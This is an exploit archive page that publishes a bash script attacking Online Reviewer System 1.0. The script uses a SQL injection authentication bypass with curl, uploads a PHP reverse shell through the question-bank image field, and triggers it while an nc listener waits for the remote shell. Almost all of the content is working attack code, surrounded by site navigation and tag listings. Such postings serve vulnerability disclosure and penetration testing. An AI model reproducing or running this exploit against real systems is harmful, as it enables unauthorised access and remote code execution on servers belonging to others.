Online Reviewer System 1.0 SQL Injection / Shell Upload

Authored by Richard Jones

Posted Feb 1, 2021

Online Reviewer System version 1.0 remote shell upload exploit that also leverages a remote SQL injection vulnerability that allows for authentication bypass.

tags | exploit, remote, shell, sql injection

SHA-256 | c27ceecbccfe8bf7fc03cb26477fb8dcd6de73f5604921deb0e4440389300d65 **Download | Favorite | View**

Related Files

Share This

Like Twee LinkedIn Reddit Digg StumbleUpon

Change Mirror Download

```
#!/bin/bash
# Exploit Title: Online Reviewer System (PHPPDO) - RCE & ADMIN BYPASS
# Exploit Author: Richard Jones
# Date: 2021-01-31
# Vendor Homepage: https://www.sourcecodester.com/php/12937/online-reviewer-system-using-phppdo.html
# Software Link: https://www.sourcecodester.com/download-code?
nid=12937&title=Online+Reviewer+System+Using+PHP%2FPDO+with+Source+Code
# Version: 1.0
# Tested On: Windows 10 Home 19041 (x64_86) + XAMPP 7.2.34


RS='\033[0m'
R='\033[0;31m'
G='\033[0;32m'
LB='\033[1;34m'
CY='\033[0;36m'
W='\033[1;73m'

printf "${G} ________          .__  .__             __________             .__                ${RS} \n"
printf "${G} \_____  \   ____  |  | |__| ____   ____\______   \ _______  _|__| ______  _  __ ${RS} \n"
printf "${G}  /   |   \ /    \|  | |  |/    \_/ __ \|       _// __ \  \/ /  |/ __ \ \/ \/ / ${RS} \n"
printf "${G} /    |    \   |  \  |_|  |   |  \  ___/|    |   \  ___/\   /|  \  ___/\     /  ${RS} \n"
printf "${G} \_______  /___|  /____/__|___|  /\___  >____|_  /\___  >\_/ |__|\___  >\/\_/   ${RS} \n"
printf "${G}         \/     \/             \/     \/       \/     \/             \/         ${RS} \n"
printf "${G} Created by: Ricard Jones ${RS}"

if [ ${#@} -lt 3 ]; then
        echo -e "\nUsage: ./onlinereviewer web-ip reverse-shell-file rev-port"
        echo "Eg: ./onlinereviewer 10.10.10.10 shell.php rev-port"
        exit 1;
fi

COOKIES="cookies.txt"
#login bypass
echo -e "\n[+] Running login bypass and trying for reverse shell..."
curl -c $COOKIES http://$1/reviewer/login/ -X POST -d "username=a%27+or+1%3D1--+-&password=a%27+or+1%3D1--+-
&btn-login=Log+In" &>/dev/null
printf "${G}[+] Logged in, Sending payload ${RS}"
(sleep 3;curl -b $COOKIES "http://$1/reviewer/system/system/admins/assessments/databank/btn_functions.php?
action=add" -X POST -F "difficulty_id=1" \
 -F "test_desc=CIVIL ENGINEERING" -F "test_subject=Mathematics, Surveying and Transportation Engineering" -F
"description=a" -F "option_a=a" -F "option_b=a" \
 -F "option_c=a" -F "option_d=a" -F "answer=A" -F "personImage=@$2" -F "btnAddQuestion=Save" &>/dev/null) &
BASENAME=$2
FILENAME=${BASENAME##*/}
echo $BASENAME
(sleep 5; echo "[+] Calling shell, wait a few moments";sleep 6; curl -b $COOKIES
"http://$1//reviewer/system/system/admins/assessments/databank/files/$FILENAME") &
rm $COOKIES
nc -lnvp $3
```

Login or Register to add favorites

Follow us on Twitter

Subscribe to an RSS Feed

File Archive: December 2022 <

Su	Mo	Tu	We	Th	Fr	Sa
				1	2	3
4	5	6	7	8	9	10
11	12	13	14	15	16	17
18	19	20	21	22	23	24
25	26	27	28	29	30	31

Top Authors In Last 30 Days

Red Hat 201 files
Ubuntu 78 files
Debian 24 files
LiquidWorm 23 files
malvuln 12 files
nu11secur1ty 11 files
Gentoo 9 files
Google Security Research 8 files
T. Weber 4 files
Julien Ahrens 4 files

File Tags

ActiveX (932)
Advisory (79,754)
Arbitrary (15,694)
BBS (2,859)
Bypass (1,619)
CGI (1,018)
Code Execution (6,926)
Conference (673)
Cracker (840)
CSRF (3,290)
DoS (22,602)
Encryption (2,349)
Exploit (50,359)
File Inclusion (4,165)
File Upload (946)
Firewall (821)
Info Disclosure (2,660)
Intrusion Detection (867)
Java (2,899)
JavaScript (821)
Kernel (6,291)
Local (14,201)
Magazine (586)
Overflow (12,419)
Perl (1,418)
PHP (5,093)
Proof of Concept (2,291)
Protocol (3,435)
Python (1,467)
Remote (30,044)
Root (3,504)
Ruby (594)
Scanner (1,631)
Security Tool (7,777)
Shell (3,103)
Shellcode (1,204)
Sniffer (886)

File Archives

December 2022
November 2022
October 2022
September 2022
August 2022
July 2022
June 2022
May 2022
April 2022
March 2022
February 2022
January 2022
Older

Systems

AIX (426)
Apple (1,926)
BSD (370)
CentOS (55)
Cisco (1,917)
Debian (6,634)
Fedora (1,690)
FreeBSD (1,242)
Gentoo (4,272)
HPUX (878)
iOS (330)
iPhone (108)
IRIX (220)
Juniper (67)
Linux (44,315)
Mac OS X (684)
Mandriva (3,105)
NetBSD (255)
OpenBSD (479)
RedHat (12,469)
Slackware (941)
Solaris (1,607)

Spoof (2,166)
SQL Injection (16,102)
TCP (2,379)
Trojan (686)
UDP (876)
Virus (662)
Vulnerability (31,136)
Web (9,365)
Whitepaper (3,729)
x86 (946)
XSS (17,494)
Other

SUSE (1,444)
Ubuntu (8,199)
UNIX (9,159)
UnixWare (185)
Windows (6,511)
Other

Site Links

News by Month
News Tags
Files by Month
File Tags
File Directory

About Us

History & Purpose
Contact Information
Terms of Service
Privacy Statement
Copyright Information

Hosting By

Rokasec

Follow us on Twitter

Subscribe to an RSS Feed